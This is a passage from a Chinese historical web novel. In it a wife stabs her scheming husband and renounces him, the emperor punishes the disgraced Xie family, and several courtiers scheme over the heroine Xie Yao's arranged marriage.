谢明安冷声道:“拖下去,痛打三十棍,往死里打。” 又是三十棍,他刻意没有超过虎贲将军给侄子的惩罚。 至于那句往死里打,也不是要真的打死。 毕竟,堂兄觊觎堂妹,堂兄要是被打死,事情传扬出去,别人会认为谢成榆得逞了,丢的,也是他们谢家的脸面。 孙姨娘丢掉拐杖,搀扶起默默垂泪的谢枝。 家丁们上前拖拽谢成榆。 “娘!韩氏,救我啊!!” 谢成榆本来已经昏过去了,又强行睁开眼睛,歇斯底里地喊叫。 二房夫人刚赶来,听见那句“往死里打”,直接眼皮一翻,晕了过去。 而谢二爷,根本没有出现。 他有三个儿子,谢成榆是老大,白天知道谢成榆腿治不好,已经没了前途后,他就不在乎大儿子的死活了。 谢窈静静地看着谢成榆,眼中,没有丝毫波澜。 前世,她曾真以为谢成榆当自己是他的妹妹,痛心疾首,才怒骂她丢了谢家脸面。 她特意去二房院子,想跟堂兄解释。 却看见谢成榆和二叔坐在院中,举起酒盏,得意地说:“如今谢窈名声尽毁,谢宴也会受到牵连,以后,谢家,就是我们父子二人说的算了。” 现在名声尽毁的人,变成了他。 如果谢成榆躺在床上,等谢枝看望,或许还不至于落到这个地步。 但是他上赶着来找谢枝,上赶着,自己弄断了自己的腿。 两条腿断了,再被打三十棍而已,不过是……天作孽,犹可违;自作孽,不可活。 谢成榆见母亲晕倒,只好求韩思雪,撕心裂肺地哭诉:“韩氏,救救我——我是你夫君,你快救我!” 韩思雪走上前。 文昌伯面色一变:“韩氏……” 他以为,这位侄媳要给谢成榆求情。 韩氏是兵部尚书的妹妹,韩家颇有声名,如果真的求情,他也得给她面子。 谢明安更怕的,是韩氏蠢笨,在这里不安生地大闹。 他早已暗中打点好,将谢枝的名字报了上去,大女儿过些日子是要入宫的,此事不能有闪失。 今晚的事,闹大了,对谁都没用好处。 韩思雪居高临下地看着谢成榆,缓缓开口:“伯爷,他想杀我灭口,就打三十棍?” 谢窈看着自己爹骤然黑下去的脸,觉得可笑。 谢明安不会现在还做着美梦,指望能压下此事,让谢枝顺利入宫吧。 她顺着韩思雪的话,道:“父亲,我来得早,亲眼所见谢成榆指示下人要杀了堂嫂,这种狼心狗肺的歹徒,怎能轻易放过。” 谢成榆目眦欲裂,声音断断续续:“你……你这毒妇,胡说……你没有证据。” 闻言,谢明安松了口气。 谢成榆说的对,还好,谢窈和韩思雪,都没有证据。 他挤出一抹和蔼的长辈笑容。 “韩氏,许是月黑风高,你看错了,谢成榆就算再怎么畜生,也不可能在伯府,在众目睽睽之下杀你啊。” 孙姨娘看出谢明安的心思,也咬了咬牙,道:“是啊,你可是这小畜生明媒正娶的妻子,他杀你干嘛。” 谢窈忽然唇角上扬,笑了笑,人畜无害。 谢明安心里,忽然有了一丝不祥的预感。 “谁说没有证据,他就是证据。” 谢窈指着那个被她踹飞的家丁,她挎着刀,脚踩地上的拐杖,和谢成榆对视。 “等他醒了,问问就知道。” “他,他已经被你——” “堂兄不会以为我一脚把他踹死了吧?唉,我一个弱不禁风的小女子,哪来那么大的力气。” “……” “人证有了,物证,就在我脚下。父亲,不如我们还是报官吧,我实在不能忍受此人逍遥法外。” 谢明安不说话了,脸色已经黑如锅底。 闹到这步,报不报官,也没什么区别了。 孙姨娘:“总归枝枝没什么事,还是不要闹到官府去了,这小畜生也就是一时冲动,你和他多年夫妻情分,可不该说什么灭口之类吓人的话。” “是啊,韩氏,我只是一时鬼迷心窍,你我多年夫妻,你不能看着我被打死……我没有,我真没有想害你……” 谢成榆哭着向韩思雪求饶,他知道,眼下唯一能救他的,只有自己的妻子。 只要她开口求情,他就不会再挨打。 即便是报官,谢枝毕竟没事,大伯一家也会帮忙遮掩,京兆尹就能给他网开一面。 韩思雪低下头,看着他那双充血的眼睛,忽然说:“谢成榆,你还记得我叫什么名字吗。” “什、什么?” 谢成榆一脸迷茫。 这时候,她为什么要问自己这个问题? 对了,韩氏叫什么来着…… “也对,你怎么会记得我的名字,连我自己,都要忘记了。” 韩思雪轻轻摇头,眼神逐渐锐利,冰冷。 “你觊觎堂妹,要杀我灭口,居然还要我为你求情,难道你觉得,我会原谅你?” 她声音低沉地反问,像是在问谢成榆,更是在问自己。 话音未落,韩思雪夺过谢窈腰间长刀,刀身的布条散开,她狠狠下挥—— 一刀! 刺入谢成榆的胸口! “我韩思雪,今日在此休夫!” 第52章 谋杀亲夫?胜利时刻! 韩思雪夺刀的刹那,谢窈就有所感觉。 她强行克制住把她踹飞的念头,看着她拿起自己的刀,捅向谢成榆。 除了谢窈,所有人都呆住了。 即便是谢成榆自己,也躲不过去。 而谢窈,悄无声息地点了一下韩思雪出刀的手肘,让刀锋移开半寸。 “噗嗤——” 谢成榆呼吸顿住,不敢置信地低头。 “我韩思雪,今日在此休夫!” 说完这句话,韩思雪猛地抽出刀锋。 她眼中的恨意烈火般倾泻,与平日夫唱妇随,懦弱顺从的样子,判若两人。 鲜血,顺着刀刃与谢成榆的胸口喷薄而出,溅在她平静的脸上,又从她的脸颊滑到唇边。 “多亏了阿窈妹妹,今天,我才想起我的名字。” 韩思雪转过身,将长刀双手奉还给谢窈。 刀被拔出来,谢成榆却感觉自己喉咙被血堵住,抽不上来气,疼痛爬满全身。 鲜血从口中涌出,他只能发出“嗬——嗬——”的声音。 “啊啊啊!杀人了!!!” 之前被谢窈踢晕的家丁悠悠醒来,就吼叫一声,又晕了过去。 谢明安这才回过神来:“快,快叫大夫!快啊!” 夜,喧嚣起来,被染上了浓稠的血色。 韩思雪盯着谢成榆被人抬走,盯着大片大片的鲜血,盯着自己染血的双手,盯着地上被踩碎的红豆糕。 终于,她问道:“伯爷,侄媳能休了谢成榆吗?” 文昌伯:“能,能,你说什么都能!但是杀人偿命,谋杀亲夫,你真是疯了,疯妇!” “韩氏,你怎能谋杀亲夫!”孙姨娘哀叹道,“就算你是韩侍郎的妹妹,做出这样大逆不道的事,我们谢家也救不了你了。” “燕国历法,只有男女和离,或男子休妻,从没有女子休男子一说。” “那就按和离算吧,反正人都死了,死者为大。” 韩思雪没有辩驳,颇有破罐破摔的样子,她身上,透着淡淡的暮气。 谢窈看着她,想到了前世的自己,也想到宣旨那日,浑身死气沉沉的靖北王。 人不能那样活着,就算为了复仇,也不能。 孙姨娘又埋怨道:“窈儿,你说说你,为何大晚上的要带着刀……你的刀怎么连个刀鞘都没有?” 谢窈耸了耸肩膀:“姨娘现在说这个,有用吗,要么,你再送我一个金刀鞘?” 孙姨娘语塞。 文昌伯按了按仍旧疼痛的腰腿,欲言又止。 他想问,为何今天韩氏夺刀,谢窈就没有一脚踢飞对方? “杀谢成榆,是我一人所为,与其他人无关,和阿窈妹妹的刀更无关。” 韩思雪说:“我愿一命抵一命,伯爷抓我见官吧,我认罪。” 谢明安面露犹豫。 这时,谢窈从容地开口:“谁说这是谋杀亲夫,是谢成榆想杀人灭口在先,韩姐姐不过是反抗罢了。” “何况,人,还不一定死。” 她说着,掏出手帕,轻轻地抬起手,擦拭韩思雪脸上的血迹。 这张素净的面庞,眼尾有一颗小痣,看起来十分柔弱,但是染上血之后,便显得阴冷锐利。 谢窈之前是想帮韩思雪认清谢成榆,却也怕她自己立不起来,怕她就算知道了什么事,还是懦弱忍受,那自己也没办法了。 如今她才发现,韩思雪骨子里是多么决绝,坚韧。 休夫,杀夫,绝不回头。 韩思雪还想说什么,可是,触及到谢窈清澈如水的眼神,她忽然鼻尖酸涩,紧绷的身子软了下去。 万般情绪加身,她倒在谢窈怀中,无声地泪如雨下。 “哭吧,哭出来就过去了,弃我去者,昨日之日不可留。” 谢窈的肩膀湿了,她垂下眸,轻声道:“为这样的人偿命,才是不值得。” 谢枝哪见过这种血腥的场面,已经吓得躲在孙姨娘身后,瑟瑟发抖。 “姨娘,我怎么办,我明明还是清白之身,但谢成榆要是死了,我就说不清了……” 孙姨娘含泪安抚着她:“枝枝放心,有娘在,娘绝不会让你受半点委屈。” 一场闹剧,终于结束了。 谢明安自然是不愿见官的,侄子的一条命,没有他清廉守礼的名声重要。 他下了严令,不论谢成榆是死是活,今晚的事,任何人不得私下议论声张。 白天刚走的大夫,连夜被叫回来抢救谢成榆,谢窈则带着韩思雪,暂时回到了晚香院。 许素素还未入睡,看见女儿带回了韩思雪,什么都没问,只是让人收拾好偏房,叫她先住下。 终于,谢窈回到自己房间。 连日的算计谋划,告一段落。 从四天前谢成榆回府,替陆慎言送信,到她让忍冬联络老苏,改了与见面地点,去醉雪楼,给蒲苇准备自己写的“陆慎言亲笔信”。 因为蒲苇并没有留下多封陆慎言的信,所以那些信,只能谢窈代劳。 她其实不太会模仿别人字迹,但陆慎言的字,她太熟了。 前世他考中状元前,字体稍柔,略显小气。 他听闻皇上喜欢雄厚锐利的字体,谢窈的字恰好近似,就让她指导他的字。 可以说,陆慎言后来的字,就是她教的。 蒲苇之前拿在手里,所谓定情信物玉钗,更是谢窈在西街花三两银子买的。 陆慎言直到被打得满地找牙也不知道,他撕的信,蒲苇声声控诉,都是为了让他恼羞成怒,口不择言,最终沦为京城的笑柄。 一直到昨日云鹤楼的大戏,最后,以谢成榆的血,抚平了她这四天的疲惫。 蒲苇烧了热水,给谢窈沐浴。 她第一次见到了谢窈身上打仗落下的道道伤疤,不禁心疼地问:“小姐,这些伤……” “都无碍了,”谢窈笑道,“这些,其实是我的功勋。” 蒲苇感叹:“战场上刀剑无言,还好小姐如今回京,不会再受苦了。” 谢窈摇了摇头:“这后宅的厮杀,有时候,比战场上还要阴损歹毒得多。” 蒲苇微微一怔,想了想,确实如此。 她在云鹤楼多年,见惯了人情冷暖,世间苦楚千万,最凉薄的,却是男子的心。 而后宅的阴谋算计,不就是为了得到那颗心吗。 本来,谢二小姐替她赎身,还给了她一笔银两,足够她以后粗茶淡饭,三餐无忧,她却说不清为什么,就是想跟着谢二小姐。 直到今晚,看见韩思雪,蒲苇忽然明白了。 只要在谢窈身边,她就不会活得浑浑噩噩,她就是清醒的,她是蒲苇,她是她自己。 “可惜,伯爷把事压了下去,”蒲苇给谢窈浇着热水,眯起眼睛,“不如奴家想个办法,将今晚的事宣扬出去,闹得个人尽皆知。” 水雾中,谢窈仰起头,白皙流畅的玉颈勾勒出一道弧度,她的红唇不点而朱,那双琉璃似的黑眸寒光熠熠,被微湿的乌发遮挡些许。 蒲苇咽了咽口水,卸去白日锋利的谢窈,美的风华绝代,像一幅画,让身为女子的自己都惊艳动心。 “不急。” 谢窈阖上眸子,享受着胜利的时刻,短暂放松精神。 “有人说了,会替我……告诉皇上。” 第53章 王爷进宫,渣男永不录用 靖北王昨日在云鹤楼,特意对她说,他要把谢成榆违背军规等事告诉皇上。 如此一来,倒省的她再找老苏帮忙。 但她也不能全指望靖北王。 蒲苇不知谢窈的意思,见她眼下泛着浅浅的青色,压低脚步退了下去,还拦住了来问二小姐吃不吃宵夜的忍冬。 两个姑娘都知道,小姐这几日,实在是有些累了,需要休息一会儿。 谢窈在浴盆中闭上眼,细想着之后的事。 谢枝想入宫为妃,想必,现在谢明安已经打通了关系,只差临门一脚。 如今这一脚,已经咫尺天涯,难了。 其实今晚,让韩思雪闹大了是最好的,她是一把最好的刀。 但她也是前世唯一替她说话的人,她不能真让她被送去官府。 为谢成榆这种人偿命,不值得。 不过,现在这样…… 也足够了。 就让谢明安以为还有希望,继续上下地点,说不定,还能牵扯到更深一层的关系。 谢窈如此想着,泡在热水中,渐渐睡着了。 * 这两日,谢家的事在京城已经传开,桩桩件件,都成了茶馆里百姓们茶余饭后的谈资。 原本只是说谢家二小姐从边境回京,谢家书香门第,居然有这样没规矩的女子,还被皇上赐婚,要嫁给靖北王。 想那靖北王喜怒无常,谢二小姐也跋扈非常,众人都等着看他们婚后的热闹。 距离大婚,还剩半个月了。 但没想到,就这半个月,谢家也能生出更大的风波。 文人陆慎言——虽然出身寒门,但端方温润,交友广泛,是京中有名的才子。 结果是个薄情寡义,逛青楼不承认也不给钱的负心汉,还当众嘲讽王爷,被谢二小姐狠狠教训了一顿。 谢家二房长子谢成榆,年少有为的京畿营校尉,平日里是呼风唤雨,走到哪里,身边都跟着三五个拥趸前后呼应。 结果违反军规,欺压百姓不说,还陷害谢二小姐,非说人家私会男子。 最后被靖北王和虎贲将军好一阵教训,回到家后,疯了,又觊觎堂妹,听说把妻子气得当场要与他和离。 这些事要说是怎么传出来的,谢成榆重伤未愈,把京中的医馆请了个遍,胜济堂的大夫回来后,说人是半死的,由此,大家都知道了。 皇宫,御书房内。 半个月来,靖北王已经两次进宫。 上一次,是来谢皇上赐婚,当众说自己最不喜欢温柔贤淑的女子。 皇帝问那你喜欢什么样的? 靖北王:“臣喜欢洒脱张狂的,越嚣张越带劲。” 皇帝惊呆了:“如晦,你是认真的吗。” 如晦,是箫熠之的表字。 靖北王一本正经地点头。 于是,皇帝将原本赐婚谢家女的圣旨,直接填上了谢家嫡女谢窈的名字。 听说此女是健妇营回来的,肯定带劲。 这一次,是告状。 “臣自从受伤后,本就心灰意冷,日夜难安,还要被百姓嘲讽残疾,实在是不想活了。” 年轻的皇帝身着明黄龙袍,端坐在龙椅上。 听箫熠之说到陆慎言当众嘲讽他是废人,皇帝龙颜大怒,大喝一声:“放肆!他敢如此说你!” 顿时,御书房门口的两名小太监,还有皇帝身边的首领太监庆公公,全都屈膝跪下:“陛下息怒,陛下息怒!” “朕曾经听裴爱卿提起过陆慎言,说此人文采斐然,未曾想,他竟敢对如晦不敬,当真该死!”皇帝怒道。 只有箫熠之坐在轮椅上,面色平静如止水:“谢二小姐已经替臣教训了陆慎言,当众打得他满地找牙。” 皇帝的眉毛松了松:“那就好,这谢家二小姐,倒是个妙人,和你很是相配。” 御书房内烧着最温暖宜人的银霜炭,靖北王却身穿厚重严实的玄色蟒袍,眉眼冷寂如霜雪,周身不见一丝暖意。 皇帝叹了口气,别开头,仿佛不忍看靖北王苍白的面容。 皇帝和箫熠之同岁,当年沈家被先帝满门抄斩,沈皇后被赐死,还是五皇子的他也被牵连,与长公主一起,差点过得连宫里的太监宫女都不如。 是萧家,护下了他。 后来,可以说皇帝是在靖北侯萧家,和箫熠之一同长大的。 所以,平时有谁敢提及箫熠之双腿残疾,皇帝会比他还要愤怒。 “庆才,”皇帝眼神微冷,“传旨下去,陆慎言辱及亲贵,言行无状,失了读书人的本分,终身不得参加科举,朝堂之上,亦永不录用。” “奴才遵旨。” 庆才连忙应下,心中有一丝同情那位陆学子的遭遇,但很快就下去传旨了。 谁让他得罪了靖北王,王爷为陛下登基立下汗马功劳,当年老侯爷和先帝是结拜兄弟,现在王爷和皇帝同样不是亲兄弟,胜似亲兄弟。 尤其是王爷受伤后,陛下待他更是独一份的好,就连当今太后的幼子安平侯,有什么恩宠赏赐,也得排在王爷后面。 箫熠之又说起谢成榆。 皇帝仿佛不经意地问:“此事朕也有所耳闻,听说他违背军规,已经被虎贲将军逐出京畿大营了。” “他想陷害臣的王妃,就是不把臣放在眼里,臣自然要让苏怀恩滚过来,管教好自己手下。”箫熠之淡淡地说。 皇帝内心一定,疑心消散许多。 他最清楚如晦的性子,从不屑于说谎。 既然如晦这么说了,就证明苏怀恩出现在云鹤楼,是他叫来的,和谢家二小姐无关。 “不过……谢成榆无论如何也是文昌伯的侄子,是你的亲戚,你这么不给他留脸面,以后的翁婿关系,怕是要不好。”皇帝的语气多了几分调侃。 “臣要娶的是谢家二小姐,又不是文昌伯,”箫熠之唇角扬起一抹冷厉弧度,“臣要是在乎所谓的翁婿和睦之名,才是给谢家的脸了。” 庆才在一旁听着,暗暗咂舌。 不愧是靖北王——这大燕第一随心所欲,冷酷无情之人。 可怜那文昌伯,若是觉得谢二小姐嫁入靖北王府,就能攀上靖北王的高枝,算盘是打错了:靖北王这个人,根本不在乎王妃的母家。 正说着,小太监通传:“陛下,宁寿宫的芝黛姑姑,来送选进宫的女子名册了。” 皇帝按了按太阳穴,苦笑道:“太后真是一刻也不让朕松懈,让她进来吧。” 芝黛姑姑双手奉上名册:“启禀陛下,名册上一共有六位女子,都是适龄的京城女子,太后的意思,陛下受累,择三人为婕妤,三人为嫔,再定吉日充实后宫。” 皇帝接过名册,正要打开。 一旁的箫熠之忽然开口:“陛下可知,昨日谢成榆深夜闯入谢家庶女闺房,意图不轨,还好他妻子韩氏与谢窈发现及时,才护下那位庶女的清白。” 第54章 划去谢枝入宫名字,谢窈得赏 皇帝微微一怔,被勾起了兴趣。 “哦?还有这样的事?” 谢家是如晦的亲家,文昌伯是他的礼部尚书,臣子的家事,他这个当皇帝的自然喜欢窥探……啊不,自然关心。 箫熠之语调玩味:“此事在京中已经传遍了,谢家可真是臣的好亲家。” “谢成榆的妻子韩氏?”皇帝看向庆才,道,“朕记得,韩爱卿有个胞妹,嫁入了文昌伯府。” “回陛下,您说的是。” 庆才连忙禀报:“谢成榆是兵部主事谢明守的长子,韩侍郎的妹妹,正是嫁给了他。至于王爷所说的庶女,是文昌伯的庶长女谢枝,听说平日里和谢成榆兄妹关系融洽。” 皇上暗自捋着这几个人的关系。 半晌,他笑着摇了摇头,心里幸灾乐祸。 “如晦,你这亲家一家真是够乱的,堂兄觊觎堂妹,还闯入闺房?看来虎贲将军把谢成榆逐出京畿营,也算是给朕清理掉了一个国之蠹虫。” 皇帝感觉,自己总算给如晦择了一桩好亲事。 “还好朕给你赐婚的是谢家嫡女谢窈,那庶女谢枝,确实上不了台面。”皇帝的语气很骄傲。 他都难以想象,要是昨日被捉奸的是谢成榆与谢家嫡女,如晦这个脾气,非得让他把谢家满门抄斩不可。 庆才也连忙称是,附和着皇帝的话。 “陛下,奴才去文昌伯府宣旨的时候,见过谢枝一面,虽说是长相秀丽,但怯生生的,浑身一股小家子气,确实配不上咱们王爷。” 皇帝的笑容更深了几分,庆才也陪着一起笑。 箫熠之幽深的目光落在芝黛姑姑身上,神情冷漠。 他没有说话,因为怕自己一开口,就也笑出声来。 芝黛还捧着太后选的入宫女子名册,听到皇上和庆才太监的对话,额角已经渗出一层细汗。 皇帝这才打开名册。 然后,他就看见了谢枝的名字。 “嘭!” 皇帝狠狠地将名册拍到书案上,脸色涨得通红。 “谁把谢枝选上的,谁,太后是存心看朕笑话吗!”他怒不可遏地质问。 庆才震惊万分,心道自己真是马屁拍到马腿上了。 他忙不迭和一众小太监又跪下去:“陛下息怒,陛下息怒——” 芝黛战战兢兢地说:“启,启禀陛下,文昌伯教女有方,这谢家姑娘虽是庶女,却是京中出名的才女……太后才选了她……” “教女有方?教出个还未出阁,就和堂兄不清不楚的女子吗!” 皇帝气得胸口激烈起伏,抄起御笔,狠狠划去名册上谢枝的名字。 箫熠之说了,全京城都知道了谢家那点破事,把谢家当笑话看,他要是把谢枝纳入后宫,岂不是也成了一个笑话! 何况他刚说谢枝是个上不了台面的庶女,怎么,嫡女嫁给箫熠之,庶女送进宫,文昌伯是要通吃啊? 箫熠之看到皇帝发怒,仿佛早已预料,神情仍旧平静。 皇帝大声咆哮:“谢家这一家子,个个无才无德,悖德忘礼,还想把一个庶女塞进朕的后宫?朕看谢明安这个礼部侍郎,毫无遵礼可言,做的简直太可笑了!” 他看到箫熠之,又补充:“朕所说的不包括谢窈。” 箫熠之:“陛下所言极是。” “……” 皇帝双目微沉,下旨道:“着韩氏与谢成榆和离,再由谢家出银千两,向韩家致歉。谢成榆品德败坏,罔顾人伦,亦终身不得参与科举,不得荫袭,不得入朝为官。” “文昌伯家教不严,削去今年爵禄,俸禄,兵部主事教子无方,罚俸一年,降半阶。至于那个谢枝……别让朕再听到这个名字!” 箫熠之:“陛下赏罚分明,臣钦佩,臣替未婚妻谢窈谢过陛下。” 皇帝:……他哪里赏了? 不过,如晦都这么说了,他也不好拂他面子。 总归如今谢家满门,也就谢窈一个听着顺耳的了,以后谢窈当了王妃,逢年过节也得进宫见面。 “文昌伯嫡女谢窈,刚正不阿,仗义执言,为朕惩治奸佞,就由如晦去挑选几件礼物,亲自替朕送去谢家,以示嘉奖,如何?” 他最后二字,加重了反问的语气。 箫熠之立即应下:“臣领旨。” 皇帝:若是一般臣子,听到皇帝这样问,一定会跪下去,诚惶诚恐地高呼不敢,但是如晦就……算了,他习惯了。 “至于这名册里的其他女子——”皇帝沉吟。 箫熠之咳了咳,脸色苍白:“皇上自己忙吧,臣身体不适,先行告退。” “就你会躲懒,”皇帝嘴角抽了抽,“罢了,庆才,你送如晦出宫,朕看如晦畏寒,再将朕新得的那件墨狐大氅取来,送去王府。” 这时,太监通报:“陛下,裴侍郎已经进宫。” “让他进来吧。” 御书房门口,两名小太监已经恭候多时。 待庆才推动靖北王的轮椅到门槛,两人鼓起力气,用力抬起轮椅,越过门槛,再将轮椅放下。 皇宫内,白蔹或白术等靖北王的下属是进不来的,也不能用平日里垫轮椅的木板,那是对皇帝不敬。 宫门千重,每过一个门槛,都会有不同的宫人抬起靖北王的轮椅。 那两名小太监在身后一直注视着靖北王离开,眼中有怜悯,也有唏嘘。 想当年,靖北王何等风姿,入朝不趋,剑履上殿,现在成了残废,出入都要靠他们这些下人抬着轮椅。 推着王爷轮椅的庆才,手心也出了一层汗。 难怪王爷不愿入宫,每次过门槛抬轮椅,这些宫里人表面尊敬,内心说不定把王爷当西洋景看。 箫熠之却端坐在轮椅上,神情漠然。 他忽然开口:“先去库房,本王要给谢二小姐挑选礼物。” 庆才好奇地问:“不知王爷送谢二小姐什么?” 箫熠之:“依你看,本王应该送什么?” 庆才:“奴才不敢揣测王爷心思,不过,王爷此前已经赏赐了谢二小姐蜀锦,珊瑚树等稀奇之物,这次倒不如赐些小巧,且合女子心意的。” 箫熠之侧目道:“本王送她的赏赐,你倒是都知道。” 庆才连忙道:“奴才替王爷执掌着御鹰司,有些事儿不想知道,也会钻进耳朵里。这文昌伯娶了商贾许氏为妻,家境殷实,不缺金银,否则陛下也不会让他们拿出千两银子向韩家致歉。” 他不动声色地交代,皇上已经让御鹰司,盯着文昌伯府了。 且明明他如今是御鹰司司使,却说是替王爷执掌,谁听了不说一句庆公公会说话。 箫熠之冷呵一声:“听说,今秋西戎人进献给陛下几匹好马。” 庆才立即调转轮椅:“此次西戎一共进献了八匹汗血宝马,都养在御马监,有一匹乌云踏雪,神骏非凡,还有匹玉雪骢,通体雪白无一点杂色,性情又格外温顺,与谢二小姐十分相配。” 箫熠之心想,那个人,可不适合性情温润的马。 他眯起眸子:“以前,西戎人的马,都是直接送到王府的。” 庆才顿时浑身冷汗淋漓。 从前靖北王善骑射,领兵征战,打的就是西戎,那些西戎战马陛下自然是赐给了他。 可是靖北王如今……不是难以骑马了嘛,要是还赐他战马,看起来倒像是羞辱。 这话庆才自然不敢说出来,只能赔笑:“是,陛下早就说要送去王府,瞧奴才这个记性,真是该死,居然给忘了,奴才这就带王爷去御马监挑选。” 箫熠之这才阖上眼:“不必挑,本王都要了。” 第55章 裴隽误会,要帮谢窈悔婚 庆才张了张口,却没敢再多说一句话。 王爷把八匹马都要了,要就要呗,反正往年这些西戎战马,也都是要送去王府的。 至于你说王爷现在身有残疾,难以骑马,这你别管。 靖北王又道:“再去库房,取八匹上好的鞍辔,一并送到王府,明日本王亲自送去谢家。” “奴才省的。” 走到宣德门的时候,迎面遇见了户部侍郎裴隽。 裴侍郎身着绯红官服,墨色革带,容貌俊雅清隽,如芝兰玉树,引得夹道的宫女太监们纷纷驻足。 时下京中男子喜爱佩玉,官员或佩金银鱼袋,他的腰间却空空如也。 裴隽——先帝钦点的状元郎,大燕第一才子,其母是沈皇后之妹,他在陛下登基后得到重用,年纪轻轻,已经官至户部侍郎。 轮椅与裴隽对上,裴隽让出位置,主动行礼:“下官见过王爷。” 箫熠之理都没理。 庆才尴尬地对裴隽笑了笑,也不敢多停留,推着王爷继续出宫。 裴隽望着靖北王的背影,忍不住摇头。 箫熠之实非良配,不知谢窈是真心愿嫁,还是被家人胁迫。 若是后者,那他就帮她悔婚。 即便此事颇难,他也愿尽力一试。 白蔹和王府府兵已经在宫门口等候,熟练地将王爷推上马车。 “王爷,那东西被喂狼之前招了,他有个亲戚叫李三,就是前日云鹤楼那三个谢成榆手下兵卒之一,如今被虎贲将军罚去辅兵营。”白蔹道。 之前王府有个洒扫小厮,在王爷面前告谢二小姐的状,他自然要将来龙去脉调查清楚。 箫熠之扶着轮椅的指腹蜷缩。 他已经主动将谢窈与苏怀恩的关系揽到自己头上,不介意再帮她做的干净一些。 一念至此,他淡淡地说:“杀了,不必遮掩。” 另一边,裴隽来到御膳房。 皇帝将先前靖北王说的事,又和他说了一遍。 “这个陆慎言啊,居然敢对如晦不敬,所以朕让他不得参与科举,以儆效尤。” 裴隽垂着眸:“是微臣看走眼了,微臣也只是幼时见过陆慎言,机缘巧合看过几篇他写的策论,以为此人有几分真才实学,没想到……他得罪了靖北王。” 他想到靖北王目中无人,冷酷跋扈的样子,怀疑事情另有隐情。 商议完户部事务,裴隽正要离开,皇帝叫住他。 “裴爱卿,你以为谢家如何?” 这话说的没头没尾,裴隽思忖一会儿,道:“文昌伯在礼部办事,虽无实质权柄,却素有清名,只是近日谢家屡屡出事,让微臣难以捉摸。” 皇帝眯起眸子:“是啊,一个小小的伯府,居然让裴爱卿难以捉摸,朕,也是看不清谢家的底细了。” “陛下是以为谢家二小姐行事过于张扬?”裴隽抿了抿唇,沉声道,“微臣却觉得,这位二小姐率性自然,和谢家其他人不一样。” 皇帝:“朕说的不是谢窈。” “那陛下疑惑的是?” 皇帝指了指手旁名册:“文昌伯如果只是个空有虚名的礼部侍郎,从哪儿使的手段,能把自己一个庶女,塞进太后给朕的名册中?” 今日,若非靖北王告知他谢家发生的事,他恐怕还蒙在鼓里。 真的把那庶女谢枝选进宫中,谢家成了皇亲国戚,那他特意选谢家赐婚靖北王,还有何意义? 裴隽:“微臣愿替陛下,一探文昌伯府的深浅。” 皇帝没有表态,只是道:“你下去吧。” 裴隽退下,出宫后,他换了一身常服,又戴上个斗笠,走到东街。 他要去确认一件事。 不多时,裴隽来到云鹤楼门口,犹豫了许久,才慢吞吞地走进去。 “这位客官要些什么?” “要一屉,不,要半屉肉包子。” “对了,听说前两天云鹤楼风起云涌,不知兄台可否告诉在下当日的情形?” 裴隽肉疼地将几枚铜板塞到店小二手里,打听情况。 等到包子装好,他提着包子,来到巷子里头的一户人家门前,敲了敲门。 一名老仆打开大门:“你是?” 裴隽向门内张望:“在下是陆公子昔日同窗,听闻他受伤,特意前来探望。” 老仆打量着他穿着打扮,不像什么显贵人家,青天白日还戴着斗笠,有些怀疑:“敢问公子姓名?” “裴隽。” 听到这个名字,裴隽立即被两名陆家家仆,一名书童,一名丫鬟簇拥着,迎到陆慎言床前。 “咳咳咳……请恕陆某有伤在身,不能下榻迎接裴侍郎。”陆慎言艰难地说。 裴隽摘下斗笠,道:“陆兄不必多礼。” 陆家人一个个好奇地盯着他,看到他清隽俊美的面庞,都惊艳地睁大眼睛。 “裴公子莅临寒舍,真是让陆家蓬荜生辉,”连陆母都难掩激动,莫名有几分娇羞,“快,给裴公子上好茶。” 裴隽早已习惯这种注视,反倒专心打量着床榻上躺着的陆慎言。 ——五官尚可,但脸色蜡黄,薄唇紧闭,一条腿高高悬起,看着是受伤不轻。 小时候还眉清目秀的,怎么现在长成这样了,还没他好看。 这就是谢窈喜欢的人吗? 他暗自腹诽谢窈的眼光差。 陆慎言同样望着裴隽那张清俊温润的面容,眼神微冷。 从前,他一直把这个人当成效仿对象,心想等他入仕后,也定能像裴隽那样青云直上。 但是现在,他被谢窈所害,受尽折辱,跌落云端,裴隽却仍旧高高在上。 裴隽居然来看望自己,这种施舍般的同情,让他心中越发嫉妒。 “裴侍郎说是我的同窗,为何我对你毫无印象?”陆慎言挤出一抹僵硬笑意,疑惑地问。 他此前在谢家学塾读书,却并不记得有裴隽。 裴隽含糊其辞地说:“裴某曾在谢家学塾借读过一段时间,那时寂寂无名,陆兄不记得也正常。” 陆慎言听到他提及“谢家学塾”,这才信了。 他扬起脖子,心里忽然升起几分希望:“不知裴兄前来所为何事?莫非,是陛下看我实在冤屈,想为我申冤……” 裴隽点了点头。 陆慎言霎时间瞪大眼睛:“陛下也曾听说过我的文名吗,敢问陛下说了什么?” 裴隽:“陛下说,要你终身不得参加科举,朝堂之上,亦永不录用。” “这是陛下的口谕,裴某怕你还不知道,所以特意前来告诉你。” 陆慎言呆住:“什么?” 陆母一众人也惊呆了:“裴公子是在开玩笑吗。” 裴隽:“裴某从不开玩笑,陆兄没听清吗,那我再说一遍,陛下要你终身不得——” “够了!”陆慎言怒吼一声,双眼布满血丝,“裴隽,你是来嘲讽我的吗!” 裴隽摇了摇头,将手中的包子放到桌上,一脸诚恳。 “我真是来探望陆兄的,喏,这是我买来的慰问礼物,还是刚出笼的呢,陆兄趁热吃。” 那日云鹤楼发生的事,他并不在场,店小二说话也含含糊糊,言辞夸张。 但透过现象看本质,陆慎言不可能无缘无故说谢窈约他至此,他至少是与谢窈相识,才敢这么说。 而陆慎言之后被谢窈打得满地找牙,在裴隽看来,这件事更像靖北王干的——靖北王内心扭曲,发现两人见面后,一怒之下让谢窈亲自揍陆慎言,以示报复。 靖北王进宫后,皇上就惩治了陆慎言和谢家,更加佐证了他的推测! 他和陆慎言已经多年未见,所以,他非要来看看,谢窈喜欢的人,现在长成了什么样子。 陆慎言狐疑地盯着他,还是不太相信:“裴侍郎当真是来探望我的?” 裴隽感慨:“陆兄前几日和谢家二小姐的事,我也有所耳闻,还望陆兄振作,即便仕途无望,你也可以谋求别的出路,未必不能讨回公道啊。” 陆慎言心头一热,终于明白了裴隽为什么会来。 “原来裴兄也与谢窈有仇。”他激动地坐起来,苍白的脸涨红。 裴隽:“有,有什么?” 陆慎言:“我就知道,世上还是好人多,有裴兄挂怀,我一定振作起来,早日康复,找谢窈那个贱人报仇雪恨!” 第56章 裴隽和谢明安成了忘年交? 裴隽懵了。 陆慎言说要找谢窈报仇雪恨? 